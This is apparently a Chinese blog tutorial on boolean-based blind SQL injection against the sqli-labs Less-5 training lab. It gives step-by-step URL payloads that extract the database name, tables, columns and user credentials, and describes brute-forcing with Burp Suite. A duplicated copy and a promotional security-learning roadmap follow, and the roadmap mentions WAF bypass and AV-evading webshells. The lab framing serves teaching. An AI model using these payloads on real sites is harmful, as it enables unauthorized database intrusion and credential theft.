一.判断有无注入点及注入类型:
127.0.0.1/sqlilabs/Less-5/?id=1
127.0.0.1/sqlilabs/Less-5/?id=1’(这里可以看到页面显示sql语句报错信息,基本可以判定为’闭合)
补全后查看页面效果(1=1时有返回页面,1=2时无返回页面,无报错信息,符合页面布尔类型状态,尝试使用布尔型注入)
1.页面没有回显不能用联合查询(order by、union select ),页面没有报错信息不能用报错注入。
2.页面布尔类型状态:页面无回显且无报错信息。
127.0.0.1/sqlilabs/Less-5/?id=1’ – +
127.0.0.1/sqlilabs/Less-5/?id=1’ and 1=1 – +
127.0.0.1/sqlilabs/Less-5/?id=1’ and 1=2 – +
猜测数据库长度:
127.0.0.1/sqlilabs/Less-5/?id=1’ and length(database())=1 – +
(若是猜错,没有返回页面)
127.0.0.1/sqlilabs/Less-5/?id=1’ and length(database())=8 – +
(猜对返回You are in 页面)由此可知数据库长度为8
二、 猜测数据库长度、名称:
substr函数:
substr(str,pos,len)
str:待截取的字符串
pos:开始截取的位置
len:截取字符串长度
ag:
substr(abc,1,2):从abc第一位开始截取,截取长度为2,因此结果为ab
与之用法类似的函数有Mid(abc,1,2)、substring(abc,1,2)
127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),1,1)=‘a’ – +
(猜错无返回页面)
127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),1,1)=‘s’ – +
(猜对返回页面You are in)
此处可以使用burpsuite工具进行爆破,方法如下:
打开burpsuite,开启代理拦截
输入 **127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),1,1)=‘a’ –
+**
将截取到的数据做如下操作:
1.清除变量clear$
2.为数据破解位置添加变量
有效载荷设置:(数字0-9可不加)
选项中的线程选择30:
开始爆破(选择特殊长度并点击响应,下方会显示页面返回效果You are in),由此可确定数据库的第一个字母为‘s’。
爆破第二个数据库字母
127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),2,1)=‘a’ – +
用这种方法可以将此数据库名爆破出来,为security。
三、猜测表名的长度、名称:
limit函数:
select * from user limit (0),10 //当索引为0时,可以省略
select * from user limit 0,10 //查询十条数据,索引从0到9,数据从1到10
select * from user limit 5,8 //查询八条数据,索引从5到12,数据从6到13
猜测第一张表名长度:
127.0.0.1/sqlilabs/Less-5/?id=1’ and length((select table_name from
information_schema.tables where table_schema=‘security’ limit 0,1))=4 – +
(select table_name from information_schema.tables where
table_schema=‘security’ limit
0,1):查询security数据库中的第一条数据(第一张表),再加上length为查询第一条数据长度(表名长度)
若为limit 1,1 则为查询数据库security中的第二条数据(第二张表),length后跟此表名的猜测数据长度(表名长度)。
猜测错误则无返回页面
127.0.0.1/sqlilabs/Less-5/?id=1’ and length((select table_name from
information_schema.tables where table_schema=‘security’ limit 0,1))=6 – +
由此可得到第一张表的长度为6
猜测第一张表的名称
ascii()函数:返回字符的ascii码【将字符变为数字】
ascii编码中65-90为大写字母A-Z,91-122为小写字母a-z
ascii(115) :返回115 与ord()函数用法一致
127.0.0.1/sqlilabs/Less-5/?id=1’ and ascii(substr((select table_name from
information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=100
– +
(select table_name from information_schema.tables where
table_schema=‘security’ limit 0,1) :此条语句为查找security中的第一张表信息
(substr((select table_name from information_schema.tables where
table_schema=‘security’ limit 0,1),1,1):此条语句为查找第一张表的名字第一个字母
ascii(substr((select table_name from information_schema.tables where
table_schema=‘security’ limit 0,1),1,1))=100
:整条语句就是将第一张表的首字母转化为数字,看是否有页面返回,若有则猜测正确。
//也可以使用猜数据库名称的方法不适用ascii()函数,此语句为:
127.0.0.1/sqlilabs/Less-5/?id=1’ and substr((select table_name from
information_schema.tables where table_schema=‘security’ limit 0,1),1,1)=‘a’ –
+
猜测错误无返回信息
127.0.0.1/sqlilabs/Less-5/?id=1’ and substr((select table_name from
information_schema.tables where table_schema=‘security’ limit 0,1),1,1)=‘e’ –
+
成功则返回You are in
可以得到第一个字母为e,也可以使用burp suite爆破(方法同上面一样)
通过改变substr()函数的参数可以将第一张表的表名得出,通过改变limit()函数的参数可以且换到第二张、第三张表,两者结合可以将security中的表名得出,最后的表名共有emails、referers、uagents、users四张表。
四、猜测列名的长度及名称:
127.0.0.1/sqlilabs/Less-5/?id=1’ and length((select column_name from
information_schema.columns where table_schema=‘security’ and
table_name=‘users’ limit 1,1))=8 – +
此语句的意思为:猜测security下users表下的第二列列名长度是否为8
(第一列列名为id (limit 0,1)比较容易求出,这里使用第二列做实例)
猜测第二列列名称的第一个字母
127.0.0.1/sqlilabs/Less-5/?id=1’ and substr((select column_name from
information_schema.columns where table_schema=‘security’ and
table_name=‘users’ limit 1,1),1,1)=‘u’ – +
通过爆破可以将users下的列名全部得出,分别为id,username,password
五、猜测数据的长度及名称:
127.0.0.1/sqlilabs/Less-5/?id=1’ and length((select username from
security.users limit 0,1))=4 – +
可以得出security数据库下的users表中的username列的第一列数据长度为4
猜测第一列列名
127.0.0.1/sqlilabs/Less-5/?id=1’ and substr((select username from
security.users limit 0,1),1,1)=‘D’-- +
也可以使用爆破
第一给username为dump
目录
一.判断有无注入点及注入类型:
127.0.0.1/sqlilabs/Less-5/?id=1
编辑
127.0.0.1/sqlilabs/Less-5/?id=1’(这里可以看到页面显示sql语句报错信息,基本可以判定为’闭合)编辑
补全后查看页面效果(1=1时有返回页面,1=2时无返回页面,无报错信息,符合页面布尔类型状态,尝试使用布尔型注入)
1.页面没有回显不能用联合查询(order by、union select ),页面没有报错信息不能用报错注入。
2.页面布尔类型状态:页面无回显且无报错信息。
127.0.0.1/sqlilabs/Less-5/?id=1’ – +
编辑
127.0.0.1/sqlilabs/Less-5/?id=1’ and 1=1 – +
编辑
127.0.0.1/sqlilabs/Less-5/?id=1’ and 1=2 – +
编辑
猜测数据库长度:
127.0.0.1/sqlilabs/Less-5/?id=1’ and length(database())=1 – +
(若是猜错,没有返回页面)
编辑
127.0.0.1/sqlilabs/Less-5/?id=1’ and length(database())=8 – +
(猜对返回You are in 页面)由此可知数据库长度为8
编辑
二、猜测数据库长度、名称:
substr函数:
substr(str,pos,len)
str:待截取的字符串
pos:开始截取的位置
len:截取字符串长度
ag:
substr(abc,1,2):从abc第一位开始截取,截取长度为2,因此结果为ab
与之用法类似的函数有Mid(abc,1,2)、substring(abc,1,2)
127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),1,1)=‘a’ – +
(猜错无返回页面)
编辑
127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),1,1)=‘s’ – +
(猜对返回页面You are in)
编辑
此处可以使用burpsuite工具进行爆破,方法如下:
打开burpsuite,开启代理拦截
编辑
输入127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),1,1)=‘a’ – +
编辑
将截取到的数据做如下操作:
编辑
1.清除变量clear$
编辑
2.为数据破解位置添加变量
编辑
有效载荷设置:(数字0-9可不加)
编辑
选项中的线程选择30:
编辑
开始爆破(选择特殊长度并点击响应,下方会显示页面返回效果You are in),由此可确定数据库的第一个字母为‘s’。
编辑
爆破第二个数据库字母
127.0.0.1/sqlilabs/Less-5/?id=1’ and substr(database(),2,1)=‘a’ – +
编辑
编辑
用这种方法可以将此数据库名爆破出来,为security。
三、猜测表名的长度、名称:
猜测第一张表的名称
可以得到第一个字母为e,也可以使用burp suite爆破(方法同上面一样)
通过改变substr()函数的参数可以将第一张表的表名得出,通过改变limit()函数的参数可以且换到第二张、第三张表,两者结合可以将security中的表名得出,最后的表名共有emails、referers、uagents、users四张表。
四、猜测列名的长度及名称:
猜测第二列列名称的第一个字母
通过爆破可以将users下的列名全部得出,分别为id,username,password
五、猜测数据的长度及名称:
猜测第一列列名
也可以使用爆破
第一给username为dump
使用同样的方法可以求出username下的所有用户名称和password下的密码,到此就结束咯!
使用同样的方法可以求出username下的所有用户名称和password下的密码,到此就结束咯!
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
第三种就是去找培训。
接下来,我会教你零基础入门快速入门上手网络安全。
网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。
第一阶段:基础准备 4周~6周
这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
第二阶段:web渗透
学习基础 时间:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
配置渗透环境 时间:3周 ~ 4周:
① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。
渗透实战操作 时间:约6周:
① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
以上就是入门阶段
第三阶段:进阶
已经入门并且找到工作之后又该怎么进阶?详情看下图
给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
